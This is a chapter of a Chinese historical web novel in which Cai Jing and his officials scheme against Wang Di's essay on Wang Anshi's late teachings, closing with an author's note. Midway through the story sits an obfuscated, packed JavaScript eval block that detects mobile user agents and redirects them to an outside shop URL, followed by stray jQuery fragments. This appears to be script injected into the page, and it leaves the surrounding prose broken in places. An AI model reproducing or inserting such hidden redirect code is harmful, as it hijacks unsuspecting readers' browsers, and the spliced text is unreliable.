十月下旬,天气转凉,蔡相公于相府特备酒席,邀请了朝中最为亲信的重臣——执政白时中、尚书左丞薛昂、御史中丞王甫,及亲儿子蔡攸,在园中品赏金秋最后一轮的丹桂。


    高官饮宴,当然不能不谈政务;酒过三巡,差不多聊了聊几处小事,蔡相公便放下酒盏,进入了今天真正的话题:


    “老夫昨日得到消息,翰林学士王棣写了一篇大文章,特意拿给了几个新学的门人品鉴。”


    蔡京能够掌控朝廷十余年,除了献媚博宠以外,仰仗的多半是他无所不到的人脉网络;京城大事小情,重要变故,第一通报的是宫中皇城司,第二通报的就是他蔡相公的私人情报网。以这样细密周到的情报能力,当然绝不会放过他头号政敌的一举一动;要是小王学士只在家中写写文章也就罢了,如今苏散人跑到酒楼里大讲特讲ppt,宗陆二人读文章读得浑然忘我,高声朗诵,动静闹得如此之大,真当蔡相公的耳目是傻的么?


    “据老夫所知。”蔡京淡淡道:“这篇文章,写的是王荆公晚年所发扬的新创见。”


    前一句犹可,说到后一句时,在场重臣无不色变。一向很愿意表现的王甫更是怒不可遏,脱口而出:


    “王棣想要做什么?”


    “能做什么?”左侧白时中冷冷作答:“无非是觊觎权位而已!”


    是的,无非觊觎权位而已!


    如果说王荆公之前,大宋官场还处于懵懵懂懂的原始状态;那么王荆公之后,所有士大夫都意识到了新时代崭新的打法——儒生真正的权力不在于官位,而在于思想;权力全力旋起旋落,好似浮萍;思想却能永生不灭,为你号召出无穷无尽的拥趸,无可磨灭的生命——王荆公担任宰相才几年?前后还不到五年!但王荆公的弟子前赴后继,薪尽火传,新学光辉,照耀直至如今,依旧是灼灼不灭,影响力无远弗届,不可胜计;反观我们尊敬的蔡相公呢?别看他当了快十年的宰相,大权独揽,威风赫赫,只要今天道君皇帝一道圣旨罢黜相位,恐怕明天连蔡家养的狗都要咬他几口!


    一个是桃李不言,下自成蹊;一个是寡助之至,亲戚畔之;只要脑子里稍微有一点常识,都能立刻意识到带宋最高贵的冠冕,到底在于何处。


    这三十年来,世俗的皇冠或许属于赵宋的天子;但意识形态的王座,却一直由王氏所占据——这就是“儒宗”的


    地位。


    那么现在在王荆公开创先例数十年以后又有一个姓王的学士试图染指这思想的冠冕请问在座重臣当作如何感想?


    当年新学一成所向披靡四方士子望风倾倒;大势一成哪怕旧党韩琦富弼司马光苏东坡二程群星璀璨也无力再阻止新政风行天下。那么如今老番再出续集纵使在场众人齐心协力又能阻挡什么吗?


    “王荆公又出新作了”!——我的天那个吸引力……


    “无论如何必得预先阻止!这篇文章真要流传出去大事不可想象了!”白时中转头看向蔡相公:“翰林院毕竟还要服从政事堂的调遣是不是可以下一个帖子……”


    是不是可以下个帖子施压让王棣把文章吞回去?


    蔡京神色漠然略略摇头:


    “有苏莫在。”


    有文明散人一意庇护那么双方正面硬撼就实在没有什么胜算;最麻烦的在于单单硬撼失败也罢了怕的还是蔡相公试图封禁这篇文章的消息一传出立刻会引起士人们更大的兴趣。


    如今蔡相公在儒生中的名声懂的都懂;以众人的叛逆心态而言原本说不定对这样长篇大论的理论文章还没啥关注但现在眼见蔡老登疯狂应激那他们高低也得看看!


    生气是吧?要的就是气炸你这个臭老登!


    如何让一本书尽情传播?那就是找一个人憎鬼嫌的老登来查封它——在这一点上我们霍格沃茨的特别调查官非常之有体会。


    硬的不行难道只能怀柔说服?唉要不是先前搞了个孔庙事件双方或许还有那么一点缓和的机会但现在……


    一念及此几位高官的脸上都显出了颓唐之色俨然大为不安。坐在下首的蔡攸左右环视


    不就是一篇破文章么你们怕什么?!


    “诸位何必长他人志气!”他大声道;“王棣手腕再高明也不过是一张嘴两只手;在座的诸位哪一个不是两榜进士、寒窗苦读?哪一个家里不是门人清客人才济济;就算以十敌一难道还敌不过这个小子?”


    诸位大臣:…………


    人无语的时候真的会笑。那一刹那


    间在座的诸位简直都不知道该摆出什么表情;只能说黄毛体育生就是黄毛体育生,跳健美操跳上去的4+4混子,连学术圈基本的规矩都不懂——学术争论,是人多就能取胜的吗?


    当然,毕竟是顶头上司的儿子,不能公开嘲笑。白时中还是回了一句:


    “那是王荆公的遗作。”


    御史中丞王甫稍稍叹气,补了一句:


    “王荆公的学养,着实天下难及。”


    事实上,说什么“天下难及”,还是太客气了。在座的重臣平均年龄六十往上,所以基本都曾经历过三十余年前新旧党争,高层辩经,王荆公以一人之力独占群雄的震撼场面;而华山论剑,高下立判;判出来的结果,是王荆公所向披靡,横绝无敌,众人拜服为第一。


    什么“天下难及”?人家分明是“天下无敌”!


    王甫又道:“倘若前贤尚在,或者好说;至于我等,恐怕……”


    若以武侠小说作比,那么北宋一朝,在文化领域登峰造极者,可称五绝——东坡苏子瞻,西史司马光,南诗黄庭坚,北丐道君皇帝(这个主要是身份加成),以及无双无对的中儒宗王介甫;而蔡京、白时中一流,充其量不过是黄河四鬼、江南七怪的水平——在蔡攸这种黄毛体育生眼里,大概已经是高不可攀,钻之弥坚了;但遇到天下绝顶高手,那真正是打你好像打条狗!


    说实话,纵观上下拜年,大抵也只有晚年大成的东坡先生,或可在儒学上勉强与荆公抗衡一二;如今旧党高人,渐次凋零,你让黄河四鬼去破解王重阳留下的先天功,那就是放在小说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265819|184223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里写,也要被**骂一句战力崩坏的!


    总之,诸位重臣没有自虐癖好,是绝对不会自己送脸上门的;至于什么清客门人……开什么玩笑,能和王荆公过招的高手,会跑到他们手下做门客?


    说到此处,王甫也不由略略迟疑,望向了蔡京——显然,如果他们还只是道听途说,略略听闻过一点新旧党争的细节;那么作为此处资历最深的老登,蔡相公可是躬逢其盛,亲眼目睹过王荆公的全盛时期的;以他的见识,想来不至于会心存妄想,搞出什么“啊,我打王安石,真的假的”之类的笑话吧?


    果然,蔡相公沉默许久,还是低声开口了。


    “如果王荆公尚在,我等当然没有半点机会。”他慢慢道:“不过,如今毕竟只是荆公遗作,而王棣的水准,比之乃


    祖,仍大有不及。


    是的,或许一般人觉得小王过目不忘引经据典信手拈来,已经是非常厉害,完全不可想象了。但见证过诸神时代的蔡京却非常明白,王棣当然已经可以称之为天才,但绝世的天才,也不过只是谒见王荆公的门槛!


    天下英雄,如过江之鲫;万中挑一的人才,才能从东华门唱出,有幸得龙头一顾;而无数万中挑一的进士里,也有且只有一个王安石。


    人是不能对抗诸神的,但要对付王棣这样聪明绝顶的天才,或许还不是完全没有把握。


    “蔡攸。蔡相公一字字道:“我记得,当初那个程学门人杨时,托庇于你的门下,已经有数年了?


    蔡攸愣了半晌,苦苦思索之后,才终于记起亲爹说的名字:


    “大人是说,那个自号‘龟山先生’的杨时?


    龟山先生杨时,程颢、程颐的入门弟子,温公司马光重用的名士,号称继承了旧党道统、负天下之望的一代大儒。这样从头到脚都打满了旧党符号的骨干,本来应该是当仁不让的在元祐党人碑中预定位置,被一起赶往海南效力;但这位龟山先生处事极为圆滑,面临大变之时,居然千方百计求到蔡攸门下,谄媚奉承,只求一安身之所。


    眼看此人如此殷切,蔡攸倒也顺嘴在亲爹面前提过一句,聊尽人事而已。原以为按蔡京的狠辣决绝,绝不会因为一句求情就高抬贵手,却不料蔡相公竟法外开恩,特意将此人保了下来,还嘱托儿子“好好看视


    原本蔡攸还茫然不解,搞不明白亲爹莫名其妙的仁慈;但直至此时,却隐约生悟:


    “大人是要……


    “此人于学术上极有造诣,对新学又怨恨极深。蔡京淡淡道:“用他来出手,刚刚好。


    事为之防,曲为之制。草蛇灰线,伏笔千里;蔡相公口口声声,尊崇新学,但反制新学的棋子,却也早就隐约伏下,直至此刻,终于一击而出!


    -----------------------


    作者有话说:龟山先生杨时,算是程朱一派重要人物,洛学、道学的大宗师,程门立雪的当事人。


    不够,他也的确曾阿谀蔡京,被当时人骂为“老而无耻,连徒孙朱熹都没办法掩盖。